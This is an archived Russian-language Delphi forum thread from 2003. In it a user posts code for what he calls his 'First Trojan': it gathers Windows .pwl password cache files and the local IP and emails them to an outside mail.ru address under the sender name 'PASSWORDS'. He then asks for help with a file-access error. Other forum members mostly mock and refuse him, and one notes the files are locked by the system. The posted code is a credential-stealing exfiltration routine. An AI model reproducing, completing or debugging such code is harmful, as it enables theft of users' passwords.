Текущий архив: 2003.01.27;
Скачать: CL | DM;
Вниз
Help me please!!! Найти похожие ветки
← →
grab3 © (2003-01-10 16:39) [0]
if NMSMTP1.Connected then //если подключились
begin
NMSMTP1.PostMessage.FromAddress :="Trojan@mail.ru";
NMSMTP1.PostMessage.FromName := "PASSWORDS";
NMSMTP1.PostMessage.ToAddress.Add("tome@mail.ru");
NMSMTP1.PostMessage.Body.Add("Ip: "+NMSMTP1.LocalIP);
NMSMTP1.PostMessage.Subject := "First Trojan";
firsts:=findfirstfile(pchar(windir+"\"+"*.pwl") ,ff);
nmsmtp1.PostMessage.Attachments.Add(ff.cFileName);
while findnextfile(firsts,nf) do
begin
findnextfile(firsts,nf);
nmsmtp1.PostMessage.Attachments.Add(windir+"\"+ff.cFileName);
end;
end;
//
try
NMSMTP1.SendMail; // посылаем письмо
except
form1.Close;
end;
При посылке мыла ругается: "Can"t open такойто.pwl". В чем может быть дело?
windir+"\"+ff.cFileName - "эта конструкция показывает совершенно корректный путь к файлу...
← →
Zemal © (2003-01-10 16:45) [1]ГЫ :) Нехороший ты парень :). И никто тут помогать таким как ты небудет :). ГЫЫЫЫЫЫЫЫЫ :)
← →
grab3 © (2003-01-10 16:46) [2]Почему?
← →
Zemal © (2003-01-10 16:46) [3]Нашол тоже мне на чём вирусы писать :). Может на VB попробуешь ещё???
← →
Song © (2003-01-10 16:53) [4]Файл pwl занят системой всегда. Это можно сделать только из-под ДОСа.
← →
Zemal © (2003-01-10 16:53) [5]Ну и скажи, "добрый" человек: ЗАЧЕМ ТЕБЕ PWL-КА??? Любоваться на неё будешь? Или ты пароли коллекцианируешь? Типа кулл хацкер, что-ли? А что-то полезное писать не проболал?
← →
grab3 © (2003-01-10 17:14) [6]>ГЫ :) Нехороший ты парень :). И никто тут помогать таким как ты небудет :). ГЫЫЫЫЫЫЫЫЫ :)
>Ну и скажи, "добрый" человек: ЗАЧЕМ ТЕБЕ PWL-КА??? Любоваться на неё будешь? Или ты пароли коллекцианируешь? Типа кулл хацкер, что-ли? А что-то полезное писать не проболал?
Уважаемые мастера! Я не в коем разе не собираюсь использовать этот троян по назначению(разве что на себе самом :-). Никогда не считал себя "кул хацкером". Тот, кто думает так о себе и есть настоящий ламер. По моим соображениям это глупо. Кроме того я не хочу тратить свои силы и время на то чтобы заполучив пароли обходить АОН провайдера и пр. А потом еще и получать резиновой дубинкой по голове при неудаче.
Дело в том, что я просто учусь, как и все когда то. И кстати уже довольно многому научился благодаря всем ВАМ. На Паскале, а тем более на Дельфи я никогда не пытался программировать и даже синтаксиса то толком не знал. И только в начале месяца случайно, "от нефиг делать" поставил Дельфи и что то более или менее стало получаться.
С уважением и благодарностью,
Бенкевич Антон Леонидович
з.ы. Так не откажите же мне во внимании уважаемые мастера. :-)
← →
Song © (2003-01-11 07:47) [7]Да никак...
Страницы: 1 вся ветка
Текущий архив: 2003.01.27;
Скачать: CL | DM;
Память: 0.48 MB
Время: 0.024 c
